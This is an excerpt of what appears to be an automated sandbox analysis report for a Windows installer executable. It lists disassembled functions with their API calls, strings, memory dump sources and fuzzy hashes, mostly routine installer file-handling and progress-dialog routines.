SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\4UQ5wnI389.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

[Rename], xrefs: 0040611D, 0040612F
%ls=%ls, xrefs: 004060A9

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 0040667C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE
C:\Users\user\AppData\Local\Temp\, xrefs: 0040667D, 00406682

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2246974252
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(00000000,00000064,00001606), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 70142569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 7014121B: GlobalAlloc.KERNELBASE(00000040,?,7014123B,?,701412DF,00000019,701411BE,-000000A0), ref: 70141225

GlobalFree.KERNEL32(?), ref: 70142657
GlobalFree.KERNEL32(00000000), ref: 7014268C

Memory Dump Source

Source File: 00000000.00000002.1972315766.0000000070141000.00000020.00000001.01000000.00000004.sdmp, Offset: 70140000, based on PE: true

Associated: 00000000.00000002.1972298784.0000000070140000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972332397.0000000070144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972350477.0000000070146000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70140000_4UQ5wnI389.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: d15bb222222d7a59522700308f2538d909389080dbda6cac5395b20dcfa59aa8
Instruction ID: d89277672ba33c896eefd02f57aa114cd9e0e3719bfd9b549ff0b2be7198f5e6
Opcode Fuzzy Hash: d15bb222222d7a59522700308f2538d909389080dbda6cac5395b20dcfa59aa8
Instruction Fuzzy Hash: C231DC72204101DFC7168F51DC94D6E7BBAFB863003B251BDFA4287A34C770A8A5DB65

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: ad54be54d1b33f2c3e643305ac3600c2e6c22dcacd93b56e136af0bf18fa41fc
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 00404C9F
%u.%u%s%s, xrefs: 00404C97

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: c06007edea0c83b5e0931fd45a2cd42dabd82a11b0b4461ae96ab8921206da46
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp$C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp\System.dll
API String ID: 3109718747-709229594
Opcode ID: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction ID: c13fbae436403556d6c48d38c5ac6db5007ae9437622b5a65b164b2cac9ab4a1
Opcode Fuzzy Hash: 2504939cc2fa207c3b55af63f84819462ffbd17dbd09f8919900b39cf6f986df
Instruction Fuzzy Hash: FB110B72A00301BADB106BB18E8999F7664AF44359F20443BF502F21D0D9FC89416B5E

Function 701418D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 7014193A
GlobalFree.KERNEL32(?), ref: 70141ADA
GlobalFree.KERNEL32(?), ref: 70141ADF

Memory Dump Source

Source File: 00000000.00000002.1972315766.0000000070141000.00000020.00000001.01000000.00000004.sdmp, Offset: 70140000, based on PE: true

Associated: 00000000.00000002.1972298784.0000000070140000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972332397.0000000070144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972350477.0000000070146000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70140000_4UQ5wnI389.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 16733e7cecacd9c8b23c3aea74f984b17a51d50aa177387067032752bbc078a6
Instruction ID: cde439b40adda5f740495f4b2ec063cbdf215e6dee11c913d8e0095547e1da86
Opcode Fuzzy Hash: 16733e7cecacd9c8b23c3aea74f984b17a51d50aa177387067032752bbc078a6
Instruction Fuzzy Hash: 9851E732D020D59ECB029FA4C9405AD7BBAFB44354B33666DF906E3774D770AE8187A1

Function 70142394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 701424D6

Part of subcall function 7014122C: lstrcpynW.KERNEL32(00000000,?,701412DF,00000019,701411BE,-000000A0), ref: 7014123C

GlobalAlloc.KERNEL32(00000040), ref: 7014245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 70142477

Memory Dump Source

Source File: 00000000.00000002.1972315766.0000000070141000.00000020.00000001.01000000.00000004.sdmp, Offset: 70140000, based on PE: true

Associated: 00000000.00000002.1972298784.0000000070140000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972332397.0000000070144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972350477.0000000070146000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70140000_4UQ5wnI389.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 39cb599232c0aa35cf1fe1d805619f46904b67ad65dfbbbebaa7ed2ae7a98531
Instruction ID: 20caf776d9a1a432cb7fedf733d6fa48161d481d1e2385f3b8d5d9ab7b7e9efd
Opcode Fuzzy Hash: 39cb599232c0aa35cf1fe1d805619f46904b67ad65dfbbbebaa7ed2ae7a98531
Instruction Fuzzy Hash: BA41BEB1004305DFC310DF21D844A6E77B8FB58320F6559ADF54687AB1EBB4A8C5DB61

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 7014161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,701421EC,?,00000808), ref: 70141635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,701421EC,?,00000808), ref: 7014163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,701421EC,?,00000808), ref: 70141650
GetProcAddress.KERNEL32(701421EC,00000000), ref: 70141657
GlobalFree.KERNEL32(00000000), ref: 70141660

Memory Dump Source

Source File: 00000000.00000002.1972315766.0000000070141000.00000020.00000001.01000000.00000004.sdmp, Offset: 70140000, based on PE: true

Associated: 00000000.00000002.1972298784.0000000070140000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972332397.0000000070144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972350477.0000000070146000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70140000_4UQ5wnI389.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: e6f2d185303f9d7da325a3e523a56c8319413de26242421ef53a440e99725a78
Instruction ID: 65430d0b2a6327412792ca2c2d0a33841e10ae59ec9e096cdc62b14432ee9e85
